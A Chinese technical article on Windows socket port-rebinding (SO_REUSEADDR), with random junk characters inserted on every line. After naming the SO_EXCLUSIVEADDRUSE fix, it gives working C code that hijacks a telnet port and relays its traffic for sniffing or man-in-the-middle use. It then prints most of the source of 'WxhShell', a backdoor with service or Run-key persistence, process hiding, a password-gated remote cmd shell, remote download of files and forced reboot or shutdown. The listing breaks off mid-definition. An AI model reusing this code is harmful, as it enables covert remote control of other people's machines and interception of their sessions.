在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
, A?o s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
VnW]-P*: szN`"Yi){ saddr.sin_family = AF_INET;
+xMK.*H]W L}lOA,EF saddr.sin_addr.s_addr = htonl(INADDR_ANY);
E#X1P #$pW 0TK+R43_ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
CsG1HR@ / 2>\Z ( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
znv2: XNkw9*IT 这意味着什么?意味着可以进行如下的攻击:
)?RR1P-ID o,(MB[|hQ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
(5rH72g( 4tU3+e5h 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
2i`N26On _svY.ps* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Z5[TmVU Dz;^' 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
K*jV=lG 7sZVN 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
0<75G6wd FglCqO} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
P3C|DO4 Rf2$k/lZ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
<X~
X#9V S@;>lw,s! #include
#aUe7~ #include
*e{d^ #include
H^sPC{6+pf #include
% FW__SN$c DWORD WINAPI ClientThread(LPVOID lpParam);
rld4uy}m int main()
ycB>gd {
[ah%>&u WORD wVersionRequested;
A$vCm DWORD ret;
"&Ym(P WSADATA wsaData;
}8J77[>/ BOOL val;
{` Bgxejf SOCKADDR_IN saddr;
N)G.^9 SOCKADDR_IN scaddr;
\tE2@ int err;
n}X)a-= SOCKET s;
9^l_\:4 SOCKET sc;
8&: *< int caddsize;
bv,_7UOG HANDLE mt;
?<VahDBS+A DWORD tid;
f@Mm{3&. wVersionRequested = MAKEWORD( 2, 2 );
V4'G%!NY err = WSAStartup( wVersionRequested, &wsaData );
,y@`= if ( err != 0 ) {
aGvD printf("error!WSAStartup failed!\n");
TWE$@/9 )g return -1;
M6U/.
n }
ciO^2X saddr.sin_family = AF_INET;
}XVz?6 "J^M@k\! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
3Qmok@4e) r!+-"hS! saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
`r;e\Cp saddr.sin_port = htons(23);
U WYLT-^x if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
u|h>z|4lJj {
N4Yvt& printf("error!socket failed!\n");
];bB7+ return -1;
cU7 c}?J< }
KY$6=/?U_ val = TRUE;
99 /fI //SO_REUSEADDR选项就是可以实现端口重绑定的
@*jd.a` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
NMb`d0;( {
A;Rr#q< printf("error!setsockopt failed!\n");
oW3{&vfz return -1;
E`%Ewt$Z }
^50#R<Ny //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
XmN3[j //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
J/Ki]T9 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
8_WFSF^ >Z
ZX]#=I if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
CI$pPY<u1 {
_q`$W9M+k ret=GetLastError();
c!"&E\F printf("error!bind failed!\n");
4{H>V_9zs return -1;
J@'}lG }
sIpq listen(s,2);
UV8,SSDTV while(1)
l9
RjxO.~U {
Z=`\U?, caddsize = sizeof(scaddr);
m5Gt8Z 6a //接受连接请求
#UGm/4C sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
bj^YB,iSM if(sc!=INVALID_SOCKET)
zOkU R9 {
tj@IrwC^e" mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
,W"Q)cL if(mt==NULL)
uTY5.8 {
Y%OE1F$6NN printf("Thread Creat Failed!\n");
]v96Q/a break;
@4dB$QF`& }
odAeBQy }
rQgRD)_%w CloseHandle(mt);
6+HpN"?e }
Zn&S7a>7 closesocket(s);
X]d[" WSACleanup();
mf]1mG}) return 0;
51 3{oM:
}
|KFRC)g DWORD WINAPI ClientThread(LPVOID lpParam)
>en,MT| {
fnV^&`BB SOCKET ss = (SOCKET)lpParam;
D/pc)3Ofe SOCKET sc;
}WXO[ +l unsigned char buf[4096];
T1yJp$yD" SOCKADDR_IN saddr;
G\3@QgyQ long num;
|,rIB DWORD val;
7@"J&><w! DWORD ret;
En%PIkxeR //如果是隐藏端口应用的话,可以在此处加一些判断
]h8[b9$<") //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
7Z;bUMYtx saddr.sin_family = AF_INET;
b}63?.M{ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
xJ H]>#XJ saddr.sin_port = htons(23);
><9E^ k0. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
c0M=T {
afY~Y?PJ< printf("error!socket failed!\n");
sE7!U| return -1;
'P(S*sr }
6c-y<J+&s val = 100;
j]i:~9xKW if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
tEP~`$9 {
=y.!Ny5A ret = GetLastError();
y)N57#e return -1;
GQ~wx1jj1 }
$OU,| D if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
td{M%D,R" {
nE+OBdl ret = GetLastError();
tM3eB= .* return -1;
Stqlp<xy }
"i/ l' if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Oi#F {
2:0'fNXop printf("error!socket connect failed!\n");
=jZ}@L/+ closesocket(sc);
)Cl!, m)~ closesocket(ss);
:db:|=#T return -1;
k@r%>Ul@ }
h3y0bV[g= while(1)
FWpcWmS`s {
m":lKXpQ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Zhb)n //如果是嗅探内容的话,可以再此处进行内容分析和记录
F8{"Rk} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
pj?wQ' num = recv(ss,buf,4096,0);
z^s/7Va[ if(num>0)
4L}i`)CmB send(sc,buf,num,0);
1j7^2Y|UT` else if(num==0)
7u/_3x1 break;
MU2ufKq4) num = recv(sc,buf,4096,0);
8,Iil:w if(num>0)
z/zUb`` send(ss,buf,num,0);
?g*#ld() else if(num==0)
--*Jv"/0 break;
t,|`#6 Ft }
_kR);\V.8 closesocket(ss);
=8BMCedH| closesocket(sc);
8nn%wps return 0 ;
.*+?] }
9Qja|; f
S-(Kmh >D20f<w(H ==========================================================
$|~YXH~O f?)BAah 下边附上一个代码,,WXhSHELL
?`R;ZT)U-
LJ7Qwh_", ==========================================================
<n+?7`d, )Zx;Z[ #include "stdafx.h"
#P[d?pY O_@ #include <stdio.h>
~"-+BG(5 #include <string.h>
WN8XiV #include <windows.h>
,m<t/@^] #include <winsock2.h>
yhF{
cK= #include <winsvc.h>
HmxA2 ~C #include <urlmon.h>
&~`Ay4hq [|{2&830 #pragma comment (lib, "Ws2_32.lib")
nk8jXZ"w #pragma comment (lib, "urlmon.lib")
,CACQhrng CMk0(sztU_ #define MAX_USER 100 // 最大客户端连接数
Y"J'
'K #define BUF_SOCK 200 // sock buffer
-58 #define KEY_BUFF 255 // 输入 buffer
Wp!#OY1? Bn>"lDf, #define REBOOT 0 // 重启
nff
X #define SHUTDOWN 1 // 关机
Kgev*xg g *}M;"
#define DEF_PORT 5000 // 监听端口
Imi;EHW d&mSoPf #define REG_LEN 16 // 注册表键长度
]:Y@pZ #define SVC_LEN 80 // NT服务名长度
9X<o8^V Z!\xVCG"q // 从dll定义API
o/Z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
?"oW1a\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
;2lKo =" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
f0UB?
| typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
mI5BJ QU0FeGtz // wxhshell配置信息
]&l.-0jt struct WSCFG {
[,;h1m ~iX int ws_port; // 监听端口
? [~ "$ char ws_passstr[REG_LEN]; // 口令
j*2Q{ik>J int ws_autoins; // 安装标记, 1=yes 0=no
pO^gooV\ char ws_regname[REG_LEN]; // 注册表键名
b|7c]l char ws_svcname[REG_LEN]; // 服务名
%"#%/>U4 char ws_svcdisp[SVC_LEN]; // 服务显示名
5\hJ& char ws_svcdesc[SVC_LEN]; // 服务描述信息
6:Eu[PE~w char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Aj| Gqw> int ws_downexe; // 下载执行标记, 1=yes 0=no
g5THkxp char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
cBxBIC char ws_filenam[SVC_LEN]; // 下载后保存的文件名
/]pBcb|< .Pz( 0Y };
.Z[Bz7 px `o.%`' // default Wxhshell configuration
6|#+ struct WSCFG wscfg={DEF_PORT,
f+*wDH "xuhuanlingzhe",
){ywk 1,
$nX4!X "Wxhshell",
$F>
#1:=v< "Wxhshell",
sfLH[Q? "WxhShell Service",
i7@qfe$fR "Wrsky Windows CmdShell Service",
cL/6p0S "Please Input Your Password: ",
fb8"hO]s 1,
6]`XW0{C "
http://www.wrsky.com/wxhshell.exe",
`$V7AqX ( "Wxhshell.exe"
V4c$V]7 };
cRt[{HE 5v1f?btc // 消息定义模块
-p|JJx?r char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
wD(1Sr5n char *msg_ws_prompt="\n\r? for help\n\r#>";
<Uz~V; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
*Ru@F: char *msg_ws_ext="\n\rExit.";
rLt`=bl&&U char *msg_ws_end="\n\rQuit.";
be^09' char *msg_ws_boot="\n\rReboot...";
\2$-.npz char *msg_ws_poff="\n\rShutdown...";
h( lkC[a& char *msg_ws_down="\n\rSave to ";
M6$9- EVovx7dr char *msg_ws_err="\n\rErr!";
",U>;` char *msg_ws_ok="\n\rOK!";
j Wa%vA l# -4}95 char ExeFile[MAX_PATH];
T(<
[k:` int nUser = 0;
8#NI`s* HANDLE handles[MAX_USER];
P<Wtv;Z1Z int OsIsNt;
g[Tl#X7F gu'Y k SERVICE_STATUS serviceStatus;
\\<waU'' SERVICE_STATUS_HANDLE hServiceStatusHandle;
`jl 1Q,~2r 2.Kbj^ // 函数声明
@y)'h]d int Install(void);
r3 OTU$t? int Uninstall(void);
'g3!SdaLF int DownloadFile(char *sURL, SOCKET wsh);
-c%K_2` int Boot(int flag);
)9(Mt_ void HideProc(void);
RPb/U8 int GetOsVer(void);
Vfm (K int Wxhshell(SOCKET wsl);
&``dI,NC void TalkWithClient(void *cs);
ho5mH{"OV int CmdShell(SOCKET sock);
`R}q&|o7< int StartFromService(void);
+4[L_ int StartWxhshell(LPSTR lpCmdLine);
a(!_3i@ S4n ~wo VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
%}t<,ex(yO VOID WINAPI NTServiceHandler( DWORD fdwControl );
SZGeF;N D{b*,F:&@) // 数据结构和表定义
;.%Ii
w&WG SERVICE_TABLE_ENTRY DispatchTable[] =
1J(` kQ)c {
MS`wd {wscfg.ws_svcname, NTServiceMain},
`5VEGSP] {NULL, NULL}
~d+.w%Z` };
Gz>M Y4+G <<xUh|zE // 自我安装
P!;%DI!<b int Install(void)
<r[5 S5y {
[&6VI? char svExeFile[MAX_PATH];
*}yOL
[ HKEY key;
:n1^Xw0q strcpy(svExeFile,ExeFile);
?Hb5<,1u3 p&Os5zw;| // 如果是win9x系统,修改注册表设为自启动
D{%l 4og if(!OsIsNt) {
}3G`f> s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/h/f&3'h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+`;YK7o RegCloseKey(key);
bnso+cA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
W(5et5DN, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`# N j8 RegCloseKey(key);
Z/y&;N4 return 0;
jacp':T }
Dgb@`oo }
*2K/)( }
}|MPQy else {
b4l=Bg" SGuR-$U`) // 如果是NT以上系统,安装为系统服务
D..dGh.MY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
sTn}:A6 if (schSCManager!=0)
v()
wngn {
qs96($ SC_HANDLE schService = CreateService
.XD.'S (
u@(z(P schSCManager,
s-\.j-Sa wscfg.ws_svcname,
E?L^L3s wscfg.ws_svcdisp,
ZGstD2N$ SERVICE_ALL_ACCESS,
6 WD( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
%Tc P[< SERVICE_AUTO_START,
Td7f SERVICE_ERROR_NORMAL,
;7Hse^Oc svExeFile,
d0@&2hO NULL,
m)5,ut/ NULL,
pN-l82]' NULL,
Bz&6kRPv NULL,
>8I?YT. NULL
X/=*o;": );
d&!;uzOx if (schService!=0)
,BUDo9h {
WFl, u!"A CloseServiceHandle(schService);
{F Ir|R& CloseServiceHandle(schSCManager);
cqP)1V] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
D)XV{Wit strcat(svExeFile,wscfg.ws_svcname);
73:y&U if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
NU>'$s RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
)<fa1Gz#^ RegCloseKey(key);
[8- . T4 return 0;
15o<'4|=Lm }
Gxtqzr* }
v-(Ry<fT9 CloseServiceHandle(schSCManager);
xWZ87 }
tWBfIHiha }
Y|*a,H"_ OGDCC/ return 1;
MF7q*f }
5Op|="W. f!|$!r*q // 自我卸载
3Pj#k|(f[0 int Uninstall(void)
7P&O{tl( {
({"jL*S,q HKEY key;
|OgtAI9 ,YEwz3$5u if(!OsIsNt) {
s)gU vS\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\Zpg,KOT RegDeleteValue(key,wscfg.ws_regname);
,*y\b|<j RegCloseKey(key);
.(RX;.lw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
<)D)j[ RegDeleteValue(key,wscfg.ws_regname);
s{"}!y=] RegCloseKey(key);
td}%reH return 0;
OA_WjTwDs }
fFr[
&\[ }
n9PCSl j }
OoG Nij else {
BZ '63 6k1;62Ntk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
kYwV0xQ if (schSCManager!=0)
Hp#IOsP~ {
^HO'"/tB@D SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
z0yPBt1W if (schService!=0)
l\Q-- {
W8@o7svrh if(DeleteService(schService)!=0) {
vr:5+wew CloseServiceHandle(schService);
d*M:PjG@ CloseServiceHandle(schSCManager);
T5:p^;?g return 0;
5{`a \;* }
<k41j=d CloseServiceHandle(schService);
Ct8}jg" }
*$+:Cbe-F CloseServiceHandle(schSCManager);
h$[tEmD% }
]J]~i[ }
\dB)G<_ ,V>7eQt? return 1;
2r =8&~9z }
\$Jz26
-n ./Y5Vk#Rp\ // 从指定url下载文件
P+9%(S)L3 int DownloadFile(char *sURL, SOCKET wsh)
IP#?$X {
u0s25 JY.% HRESULT hr;
,MmX(O0 char seps[]= "/";
D|8Pe{` char *token;
<i!:{'% char *file;
w~}*MsB char myURL[MAX_PATH];
:iKk"r,2P[ char myFILE[MAX_PATH];
eeOE\ 0@BhRf5 strcpy(myURL,sURL);
)0tq& token=strtok(myURL,seps);
lD K<gd while(token!=NULL)
t XbMP {
rQrh(~\: file=token;
@v:p)|Ne; token=strtok(NULL,seps);
(E*pM$ }
/x2MW5H 8c1ma GetCurrentDirectory(MAX_PATH,myFILE);
Ig.9:v` strcat(myFILE, "\\");
o 9?#;B$ strcat(myFILE, file);
[f8mh88r send(wsh,myFILE,strlen(myFILE),0);
)C1ihm!7\ send(wsh,"...",3,0);
GIs
*;ps7w hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
gO9\pI2 if(hr==S_OK)
K:<0!C! return 0;
:m{;<LRV else
Bh%Yu*.f return 1;
D.ajO^[ ?gGmJl }
%]KOxaf_z >3,t`Z: // 系统电源模块
9 M<3m int Boot(int flag)
2B!Bogs {
4u.v7r HANDLE hToken;
;d#`wSF`G TOKEN_PRIVILEGES tkp;
i*3*)l y sX,."@[ if(OsIsNt) {
@D3|Ak 1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
0|L%)'F LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Jh6 z5xUV tkp.PrivilegeCount = 1;
1>"Yw|F-|3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
aj\
zc I AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Wh7}G if(flag==REBOOT) {
Y}aaW[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
B=,j$uH return 0;
.!><qVg }
IT5a/;J else {
=D}]|ie if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
(&=gM return 0;
o4l=oY:' }
o;^k"bo6 }
UbDRE[^P else {
9Z_!}eY2mc if(flag==REBOOT) {
wV&UB@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Q"Ur*/-U return 0;
s6F^z\6 }
O"c@x:i else {
q>^x,:L if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
l`M7a9*U return 0;
G*].g[' }
TM?RH{(r }
F8T.}qI 4^>FN"Ve`B return 1;
'
Akt5q }
?_<14%r; IFd2r;W8 // win9x进程隐藏模块
F2bAo 6~R void HideProc(void)
'{I YANVT {
5m(V(@a3 fcLVE HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
TQjM3Ri=V if ( hKernel != NULL )
fdCN?p[_ {
Ac,Qj`'V pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
uLK4tQ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
LNU#NJ^Axt FreeLibrary(hKernel);
NMCMY<o }
YYzl"<)c zo{WmV7[| return;
NR@n%p }
}o{6 .on}F>3k$ // 获取操作系统版本
{rE]y C^ int GetOsVer(void)
+ NpHk {
Oj`I=O6 OSVERSIONINFO winfo;
CdFr
YL+F winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
kNnI$(H"H GetVersionEx(&winfo);
Dg_AoC if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
%Q2<bj] return 1;
iAWd
9x else
__Tg1A return 0;
3u g-cq }
_w\A=6=q| a{deN9Qn // 客户端句柄模块
=4H"&Eu{ int Wxhshell(SOCKET wsl)
Hb:@]!r> {
ns/L./z SOCKET wsh;
{;0+N -U struct sockaddr_in client;
? 016 DWORD myID;
N %K%0o- N-Jp; D while(nUser<MAX_USER)
teDO,$ {
%I
3D/!% int nSize=sizeof(client);
41'|~3\X wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
^<"^}Jh.M if(wsh==INVALID_SOCKET) return 1;
XFx p ^ re-;s handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^vQ,t*Uj= if(handles[nUser]==0)
fkjo closesocket(wsh);
FLE2]cL- else
8F#z)>q~ nUser++;
/GQN34RD }
JXa5snh{h WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
LaolAqU LE1#pB3TG return 0;
F]4JemSjK }
@UG%B7 o[ua$+67E // 关闭 socket
kbHfdA void CloseIt(SOCKET wsh)
x_K8Gr#Z 0 {
'9R.$,N closesocket(wsh);
+uD4$Wt_F nUser--;
p+pBk$4 ExitThread(0);
BIM!4MHLA }
zQNkjQ{mx Qe6'W
// 客户端请求句柄
vXP+*5d/ K void TalkWithClient(void *cs)
y {PUklq {
+YA,HhX9 zP(UaSXz/ SOCKET wsh=(SOCKET)cs;
d2!A32m char pwd[SVC_LEN];
B{^ojV;]m char cmd[KEY_BUFF];
Z<2j#rd char chr[1];
#@cOyxUt int i,j;
HL*Fs /W /`b(} m while (nUser < MAX_USER) {
2xx c<c"n' if(wscfg.ws_passstr) {
HT:
p'Yyi if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
*sPG,6> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
j0F'I*Z3 //ZeroMemory(pwd,KEY_BUFF);
gq +|Hr i=0;
GqT0SP while(i<SVC_LEN) {
jLy3c@Dp Y>l92=G // 设置超时
z|5Sy.H> fd_set FdRead;
s?g`ufF.t struct timeval TimeOut;
{@7{!I|eD FD_ZERO(&FdRead);
i7UE9Nyl* FD_SET(wsh,&FdRead);
Q-qM"8I TimeOut.tv_sec=8;
P t)Ni TimeOut.tv_usec=0;
A3#^R%2)W int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
bx5f\) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
3r[}'ba\ H}[kit*9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
:nPLQqXGQ pwd
=chr[0]; pg4J)<t#
if(chr[0]==0xd || chr[0]==0xa) { X^!1MpEQ
pwd=0; {#]vvO2~$
break; I5$@1+B
} r{Cbx#;
i++; H1bPNt63
} @0mR_\u\
=%\y E0#
// 如果是非法用户,关闭 socket !4blX'<w
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i3s,C;7[2
} L#|,_j=9
D_W,Jmet
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o_K.
+^$
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z|h&Zd1z
=mq02C~y
while(1) { e9 `n@
Uo7V)I;o
ZeroMemory(cmd,KEY_BUFF); h ?Ni5
IQ`#M~:
// 自动支持客户端 telnet标准 9\aR{e,1
j=0; QS*!3?%
while(j<KEY_BUFF) { O6[, K1,
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mqx#N%
cmd[j]=chr[0]; .8O.
if(chr[0]==0xa || chr[0]==0xd) { 0)?.rthk4S
cmd[j]=0; %e71BZo~^s
break; YjT7_|`(]
} j?YZOO>X
j++; k$u/6lw]IB
} b/I_iJ8t
*s"dCc
// 下载文件 Pz/bne;=
if(strstr(cmd,"http://")) { X;hV+|Bo
send(wsh,msg_ws_down,strlen(msg_ws_down),0); %O!~!'
if(DownloadFile(cmd,wsh)) <![]=~z$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k7 0o=}
else Jp0*Y-*Y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); giDe
} UZ`G S$D@
else { +-VkRr#
%]zaX-2dm!
switch(cmd[0]) { wTL&m+xr
ZE!dg^-L
// 帮助 4Hk eXS.
case '?': { <yxEGjm
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =xa:>Vh#
break; qNH=
W?T8.
} !D_Qat
// 安装 C|@6rr9TA
case 'i': { "8'aZ.P
if(Install()) %s^2m"ca}=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]4$t'wI.
else !@r1B`]j+"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2}ttCm
break; _aR_[
} {!$E\e^d
// 卸载 ^o*$OM7x
case 'r': { C_&-2Z
if(Uninstall()) ?(up!3S'x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /]mfI&l+9
else ~ PO)>;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Ag`pZ<s
break; N<e=!LV
} ~.FZF
// 显示 wxhshell 所在路径 e)Be*J]4
case 'p': { 4FWb5b!A=
char svExeFile[MAX_PATH]; XJs*DK
strcpy(svExeFile,"\n\r"); \5MW65
strcat(svExeFile,ExeFile); )_|;h2I
send(wsh,svExeFile,strlen(svExeFile),0); tqnvC
UIE
break; xcF:moL
} 3kAhvL
// 重启 E*uz|w3S)Y
case 'b': { x }8 U\
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sNet[y:O3
if(Boot(REBOOT)) J <<Ph
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
<|Pw*L$
else { x9,X0JO
closesocket(wsh); x8#bd{
ExitThread(0); wNHvYulI
} epcBr_}
break; wVSk.OOB
} ^9{mjy0Q
// 关机 ^F>C|FJ2
case 'd': { yc#0c[ZQu
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lji&]^1
if(Boot(SHUTDOWN)) X0h`g)Bbf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); th$?#4SbR
else { (iwZs:k-
closesocket(wsh); baD`k?](
ExitThread(0); l(o#N'!j4
} 7)2Co[t
break; _I"T(2Au
} <6
LpsM}
// 获取shell rv75R}.6R^
case 's': { 6
J&_H(^
CmdShell(wsh); ^""Ss
closesocket(wsh); r+4<Lon~
ExitThread(0); 3kTOWIX
break; 6`ZHFem
} XZ8#8Di8
// 退出 q;W(;B
case 'x': { w:|BQ,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lWVvAoe
CloseIt(wsh); X9J&OQ[W
break; cv .R`)l
} 6AM-^S@
// 离开 =B0#z]qu
case 'q': { Gu3# y"a>
send(wsh,msg_ws_end,strlen(msg_ws_end),0); &YSjwRr
closesocket(wsh); h!vq~g
WSACleanup(); *8ZaG]L
exit(1); e^N6h3WF
break; cgQ4 JY/6
} N8]DW_bsB
} kM#ZpI&0%
} `t@Rh~B
Pjs
L{,
// 提示信息 bJ~@
k,'
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gc
ce]QS
} ]M:=\h,t>
} Sk~( t
0Gq}x;8H&
return; 'b?Px}
} (M>[D!Yt
B
66-l!xa
// shell模块句柄 -f{NVX\<0
int CmdShell(SOCKET sock) ~ AU!Gm.
{ }i)^?@
STARTUPINFO si; 4Jf6uhaE
ZeroMemory(&si,sizeof(si)); 4iDlBs+
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >~nc7j
u
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d0b`qk @4
PROCESS_INFORMATION ProcessInfo; #>]o' KQx
char cmdline[]="cmd"; #QWG5
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k*?Axk#
return 0; ?`,Rkg0fe
} rZ|!y ~S|
.4t-5,7s%
// 自身启动模式 ?qdZ]M4e
int StartFromService(void) M%\=Fb
{ 1 2Lc$\3P
typedef struct I6jDRC0<
{ ?3I93Bt7
DWORD ExitStatus; F!LVyY"w
DWORD PebBaseAddress; 3I" <\M4x
DWORD AffinityMask; yY3Mv/R
